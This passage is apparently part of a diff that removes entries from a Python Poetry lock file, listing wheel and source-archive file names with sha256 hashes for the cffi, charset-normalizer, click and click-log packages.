"cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b"}, - {file = "cffi-1.15.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21"}, - {file = "cffi-1.15.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185"}, - {file = "cffi-1.15.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd"}, - {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc"}, - {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f"}, - {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e"}, - {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4"}, - {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01"}, - {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e"}, - {file = "cffi-1.15.1-cp310-cp310-win32.whl", hash = "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2"}, - {file = "cffi-1.15.1-cp310-cp310-win_amd64.whl", hash = "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d"}, - {file = "cffi-1.15.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac"}, - {file = "cffi-1.15.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83"}, - {file = "cffi-1.15.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9"}, - {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c"}, - {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325"}, - {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c"}, - {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef"}, - {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8"}, - {file = "cffi-1.15.1-cp311-cp311-win32.whl", hash = "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d"}, - {file = "cffi-1.15.1-cp311-cp311-win_amd64.whl", hash = "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104"}, - {file = "cffi-1.15.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7"}, - {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6"}, - {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d"}, - {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a"}, - {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405"}, - {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e"}, - {file = "cffi-1.15.1-cp36-cp36m-win32.whl", hash = "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf"}, - {file = "cffi-1.15.1-cp36-cp36m-win_amd64.whl", hash = "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497"}, - {file = "cffi-1.15.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375"}, - {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e"}, - {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82"}, - {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b"}, - {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c"}, - {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426"}, - {file = "cffi-1.15.1-cp37-cp37m-win32.whl", hash = "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9"}, - {file = "cffi-1.15.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045"}, - {file = "cffi-1.15.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3"}, - {file = "cffi-1.15.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a"}, - {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5"}, - {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca"}, - {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02"}, - {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192"}, - {file = "cffi-1.15.1-cp38-cp38-win32.whl", hash = "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314"}, - {file = "cffi-1.15.1-cp38-cp38-win_amd64.whl", hash = "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5"}, - {file = "cffi-1.15.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585"}, - {file = "cffi-1.15.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0"}, - {file = "cffi-1.15.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415"}, - {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d"}, - {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984"}, - {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35"}, - {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27"}, - {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76"}, - {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3"}, - {file = "cffi-1.15.1-cp39-cp39-win32.whl", hash = "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee"}, - {file = "cffi-1.15.1-cp39-cp39-win_amd64.whl", hash = "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c"}, - {file = "cffi-1.15.1.tar.gz", hash = "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9"}, -] -charset-normalizer = [ - {file = "charset-normalizer-3.3.2.tar.gz", hash = "sha256:f30c3cb33b24454a82faecaf01b19c18562b1e89558fb6c56de4d9118a032fd5"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:25baf083bf6f6b341f4121c2f3c548875ee6f5339300e08be3f2b2ba1721cdd3"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:06435b539f889b1f6f4ac1758871aae42dc3a8c0e24ac9e60c2384973ad73027"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9063e24fdb1e498ab71cb7419e24622516c4a04476b17a2dab57e8baa30d6e03"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6897af51655e3691ff853668779c7bad41579facacf5fd7253b0133308cf000d"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1d3193f4a680c64b4b6a9115943538edb896edc190f0b222e73761716519268e"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd70574b12bb8a4d2aaa0094515df2463cb429d8536cfb6c7ce983246983e5a6"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8465322196c8b4d7ab6d1e049e4c5cb460d0394da4a27d23cc242fbf0034b6b5"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a9a8e9031d613fd2009c182b69c7b2c1ef8239a0efb1df3f7c8da66d5dd3d537"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:beb58fe5cdb101e3a055192ac291b7a21e3b7ef4f67fa1d74e331a7f2124341c"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e06ed3eb3218bc64786f7db41917d4e686cc4856944f53d5bdf83a6884432e12"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:2e81c7b9c8979ce92ed306c249d46894776a909505d8f5a4ba55b14206e3222f"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:572c3763a264ba47b3cf708a44ce965d98555f618ca42c926a9c1616d8f34269"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:fd1abc0d89e30cc4e02e4064dc67fcc51bd941eb395c502aac3ec19fab46b519"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-win32.whl", hash = "sha256:3d47fa203a7bd9c5b6cee4736ee84ca03b8ef23193c0d1ca99b5089f72645c73"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:10955842570876604d404661fbccbc9c7e684caf432c09c715ec38fbae45ae09"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:802fe99cca7457642125a8a88a084cef28ff0cf9407060f7b93dca5aa25480db"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:573f6eac48f4769d667c4442081b1794f52919e7edada77495aaed9236d13a96"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:549a3a73da901d5bc3ce8d24e0600d1fa85524c10287f6004fbab87672bf3e1e"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f27273b60488abe721a075bcca6d7f3964f9f6f067c8c4c605743023d7d3944f"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1ceae2f17a9c33cb48e3263960dc5fc8005351ee19db217e9b1bb15d28c02574"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:65f6f63034100ead094b8744b3b97965785388f308a64cf8d7c34f2f2e5be0c4"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:753f10e867343b4511128c6ed8c82f7bec3bd026875576dfd88483c5c73b2fd8"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4a78b2b446bd7c934f5dcedc588903fb2f5eec172f3d29e52a9096a43722adfc"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e537484df0d8f426ce2afb2d0f8e1c3d0b114b83f8850e5f2fbea0e797bd82ae"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:eb6904c354526e758fda7167b33005998fb68c46fbc10e013ca97f21ca5c8887"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:deb6be0ac38ece9ba87dea880e438f25ca3eddfac8b002a2ec3d9183a454e8ae"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:4ab2fe47fae9e0f9dee8c04187ce5d09f48eabe611be8259444906793ab7cbce"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:80402cd6ee291dcb72644d6eac93785fe2c8b9cb30893c1af5b8fdd753b9d40f"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-win32.whl", hash = "sha256:7cd13a2e3ddeed6913a65e66e94b51d80a041145a026c27e6bb76c31a853c6ab"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:663946639d296df6a2bb2aa51b60a2454ca1cb29835324c640dafb5ff2131a77"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:0b2b64d2bb6d3fb9112bafa732def486049e63de9618b5843bcdd081d8144cd8"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:ddbb2551d7e0102e7252db79ba445cdab71b26640817ab1e3e3648dad515003b"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:55086ee1064215781fff39a1af09518bc9255b50d6333f2e4c74ca09fac6a8f6"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8f4a014bc36d3c57402e2977dada34f9c12300af536839dc38c0beab8878f38a"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a10af20b82360ab00827f916a6058451b723b4e65030c5a18577c8b2de5b3389"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8d756e44e94489e49571086ef83b2bb8ce311e730092d2c34ca8f7d925cb20aa"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:90d558489962fd4918143277a773316e56c72da56ec7aa3dc3dbbe20fdfed15b"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ac7ffc7ad6d040517be39eb591cac5ff87416c2537df6ba3cba3bae290c0fed"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:7ed9e526742851e8d5cc9e6cf41427dfc6068d4f5a3bb03659444b4cabf6bc26"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:8bdb58ff7ba23002a4c5808d608e4e6c687175724f54a5dade5fa8c67b604e4d"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_ppc64le.whl", hash = "sha256:6b3251890fff30ee142c44144871185dbe13b11bab478a88887a639655be1068"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_s390x.whl", hash = "sha256:b4a23f61ce87adf89be746c8a8974fe1c823c891d8f86eb218bb957c924bb143"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:efcb3f6676480691518c177e3b465bcddf57cea040302f9f4e6e191af91174d4"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-win32.whl", hash = "sha256:d965bba47ddeec8cd560687584e88cf699fd28f192ceb452d1d7ee807c5597b7"}, - {file = "charset_normalizer-3.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:96b02a3dc4381e5494fad39be677abcb5e6634bf7b4fa83a6dd3112607547001"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:95f2a5796329323b8f0512e09dbb7a1860c46a39da62ecb2324f116fa8fdc85c"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c002b4ffc0be611f0d9da932eb0f704fe2602a9a949d1f738e4c34c75b0863d5"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a981a536974bbc7a512cf44ed14938cf01030a99e9b3a06dd59578882f06f985"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3287761bc4ee9e33561a7e058c72ac0938c4f57fe49a09eae428fd88aafe7bb6"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:42cb296636fcc8b0644486d15c12376cb9fa75443e00fb25de0b8602e64c1714"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0a55554a2fa0d408816b3b5cedf0045f4b8e1a6065aec45849de2d6f3f8e9786"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:c083af607d2515612056a31f0a8d9e0fcb5876b7bfc0abad3ecd275bc4ebc2d5"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:87d1351268731db79e0f8e745d92493ee2841c974128ef629dc518b937d9194c"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:bd8f7df7d12c2db9fab40bdd87a7c09b1530128315d047a086fa3ae3435cb3a8"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:c180f51afb394e165eafe4ac2936a14bee3eb10debc9d9e4db8958fe36afe711"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:8c622a5fe39a48f78944a87d4fb8a53ee07344641b0562c540d840748571b811"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-win32.whl", hash = "sha256:db364eca23f876da6f9e16c9da0df51aa4f104a972735574842618b8c6d999d4"}, - {file = "charset_normalizer-3.3.2-cp37-cp37m-win_amd64.whl", hash = "sha256:86216b5cee4b06df986d214f664305142d9c76df9b6512be2738aa72a2048f99"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:6463effa3186ea09411d50efc7d85360b38d5f09b870c48e4600f63af490e56a"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:6c4caeef8fa63d06bd437cd4bdcf3ffefe6738fb1b25951440d80dc7df8c03ac"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:37e55c8e51c236f95b033f6fb391d7d7970ba5fe7ff453dad675e88cf303377a"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fb69256e180cb6c8a894fee62b3afebae785babc1ee98b81cdf68bbca1987f33"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ae5f4161f18c61806f411a13b0310bea87f987c7d2ecdbdaad0e94eb2e404238"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b2b0a0c0517616b6869869f8c581d4eb2dd83a4d79e0ebcb7d373ef9956aeb0a"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:45485e01ff4d3630ec0d9617310448a8702f70e9c01906b0d0118bdf9d124cf2"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eb00ed941194665c332bf8e078baf037d6c35d7c4f3102ea2d4f16ca94a26dc8"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:2127566c664442652f024c837091890cb1942c30937add288223dc895793f898"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a50aebfa173e157099939b17f18600f72f84eed3049e743b68ad15bd69b6bf99"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:4d0d1650369165a14e14e1e47b372cfcb31d6ab44e6e33cb2d4e57265290044d"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:923c0c831b7cfcb071580d3f46c4baf50f174be571576556269530f4bbd79d04"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:06a81e93cd441c56a9b65d8e1d043daeb97a3d0856d177d5c90ba85acb3db087"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-win32.whl", hash = "sha256:6ef1d82a3af9d3eecdba2321dc1b3c238245d890843e040e41e470ffa64c3e25"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-win_amd64.whl", hash = "sha256:eb8821e09e916165e160797a6c17edda0679379a4be5c716c260e836e122f54b"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c235ebd9baae02f1b77bcea61bce332cb4331dc3617d254df3323aa01ab47bd4"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5b4c145409bef602a690e7cfad0a15a55c13320ff7a3ad7ca59c13bb8ba4d45d"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:68d1f8a9e9e37c1223b656399be5d6b448dea850bed7d0f87a8311f1ff3dabb0"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22afcb9f253dac0696b5a4be4a1c0f8762f8239e21b99680099abd9b2b1b2269"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e27ad930a842b4c5eb8ac0016b0a54f5aebbe679340c26101df33424142c143c"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1f79682fbe303db92bc2b1136016a38a42e835d932bab5b3b1bfcfbf0640e519"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b261ccdec7821281dade748d088bb6e9b69e6d15b30652b74cbbac25e280b796"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:122c7fa62b130ed55f8f285bfd56d5f4b4a5b503609d181f9ad85e55c89f4185"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:d0eccceffcb53201b5bfebb52600a5fb483a20b61da9dbc885f8b103cbe7598c"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:9f96df6923e21816da7e0ad3fd47dd8f94b2a5ce594e00677c0013018b813458"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:7f04c839ed0b6b98b1a7501a002144b76c18fb1c1850c8b98d458ac269e26ed2"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:34d1c8da1e78d2e001f363791c98a272bb734000fcef47a491c1e3b0505657a8"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:ff8fa367d09b717b2a17a052544193ad76cd49979c805768879cb63d9ca50561"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-win32.whl", hash = "sha256:aed38f6e4fb3f5d6bf81bfa990a07806be9d83cf7bacef998ab1a9bd660a581f"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-win_amd64.whl", hash = "sha256:b01b88d45a6fcb69667cd6d2f7a9aeb4bf53760d7fc536bf679ec94fe9f3ff3d"}, - {file = "charset_normalizer-3.3.2-py3-none-any.whl", hash = "sha256:3e4d1f6587322d2788836a99c69062fbb091331ec940e02d12d179c1d53e25fc"}, -] -click = [ - {file = "click-8.1.7-py3-none-any.whl", hash = "sha256:ae74fb96c20a0277a1d615f1e4d73c8414f5a98db8b799a7931d1582f3390c28"}, - {file = "click-8.1.7.tar.gz", hash = "sha256:ca9853ad459e787e2192211578cc907e7594e294c7ccc834310722b41b9ca6de"}, -] -click-log = [ - {file = "click-log-0.4.0.tar.gz", hash = "sha256:3970f8570ac54491237bcdb3d8ab5e3eef6c057df29f8c3d1151a51a9c23b975"}, - {file = "click_log-0.4.0-py2.py3-none-any.whl", hash = 